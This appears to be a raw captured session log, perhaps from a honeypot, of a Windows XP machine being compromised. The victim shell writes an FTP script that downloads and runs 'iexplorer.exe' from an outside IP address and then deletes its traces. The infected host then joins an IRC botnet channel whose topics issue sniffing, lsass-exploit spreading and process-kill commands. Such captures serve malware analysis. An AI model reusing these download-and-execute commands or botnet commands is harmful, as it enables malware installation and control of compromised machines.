VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	(C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
VICTIM:  	echo open 78.54.218.135 15824>.pif C:\\WINDOWS\\system32> 
VICTIM:  	echo user a a>>.pif C:\\WINDOWS\\system32>echo binary>>.pif C:\\WINDOWS\\system32> 
VICTIM:  	echo GET iexplorer.exe>>.pif C:\\WINDOWS\\system32> 
VICTIM:  	echo bye>>.pif C:\\WINDOWS\\system32> 
VICTIM:  	echo @echo off >c.batC:\\WINDOWS\\system32> 
VICTIM:  	echo ftp -n -v -s:.pif >>c.batC:\\WINDOWS\\system32> 
VICTIM:  	echo iexplorer.exe >>c.batC:\\WINDOWS\\system32> 
VICTIM:  	echo del .pif >>c.batC:\\WINDOWS\\system32> 
VICTIM:  	echo del /F c.bat >>c.batC:\\WINDOWS\\system32> 
VICTIM:  	echo exit /y >>c.batC:\\WINDOWS\\system32> 
ATTACKER:	220  
VICTIM:  	USER a 
ATTACKER:	331  
VICTIM:  	PASS a 
ATTACKER:	230  
VICTIM:  	TYPE I 
ATTACKER:	200  
VICTIM:  	PORT 192,168,1,213,4 
ATTACKER:	200  
ATTACKER:	RETR iexplorer.exe 
ATTACKER:	150  
ATTACKER:	226  
VICTIM:  	QUIT 
ATTACKER:	221  
VICTIM:  	NICK `fpxnckumUSER `fpxnckum 0 0 :`fpxnckum 
ATTACKER:	:aaa.40796.com 001 `fpxnckum :time, `fpxnckum!~fpxnckum@192.168.1.213:aaa.40796.com 005 `fpxnckum MAP KNOCK SAFELIST HCN MAXCHANNELS=500 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:aaa.40796.com 005 `fpxnckum WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=time CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:aaa.40796.com 422 `fpxnckum :MOTD File is missing:`fpxnckum MODE `fpxnckum :+i 
VICTIM:  	JOIN #.has hs 
ATTACKER:	:`fpxnckum!~fpxnckum@192.168.1.213 JOIN :#.has:aaa.40796.com 332 `fpxnckum #.has :.join #.k |`sniff.on -s |`adv.start lsass 100 3 0 x.x.x.x -r -s |`i.join #.sd -s:aaa.40796.com 333 `fpxnckum #.has sd 1218643734:aaa.40796.com 353 `fpxnckum @ #.has :`fpxnckum @Hs :aaa.40796.com 366 `fpxnckum #.has :End of /NAMES list. 
VICTIM:  	USERHOST `fpxnckumJOIN #.has hsUSERHOST `fpxnckumJOIN #.has hsUSERHOST `fpxnckum 
ATTACKER:	:aaa.40796.com 302 `fpxnckum :`fpxnckum=+~fpxnckum@192.168.1.213    :aaa.40796.com 302 `fpxnckum :`fpxnckum=+~fpxnckum@192.168.1.213    :aaa.40796.com 302 `fpxnckum :`fpxnckum=+~fpxnckum@192.168.1.213     
VICTIM:  	JOIN #.sd -s 
ATTACKER:	:`fpxnckum!~fpxnckum@192.168.1.213 JOIN :#.sd:aaa.40796.com 332 `fpxnckum #.sd :.join #.k |`sniff.on -s |`pctrl.kill kiss.exe -s:aaa.40796.com 333 `fpxnckum #.sd sd 1218643807:aaa.40796.com 353 `fpxnckum @ #.sd :`fpxnckum @Hs :aaa.40796.com 366 `fpxnckum #.sd :End of /NAMES list.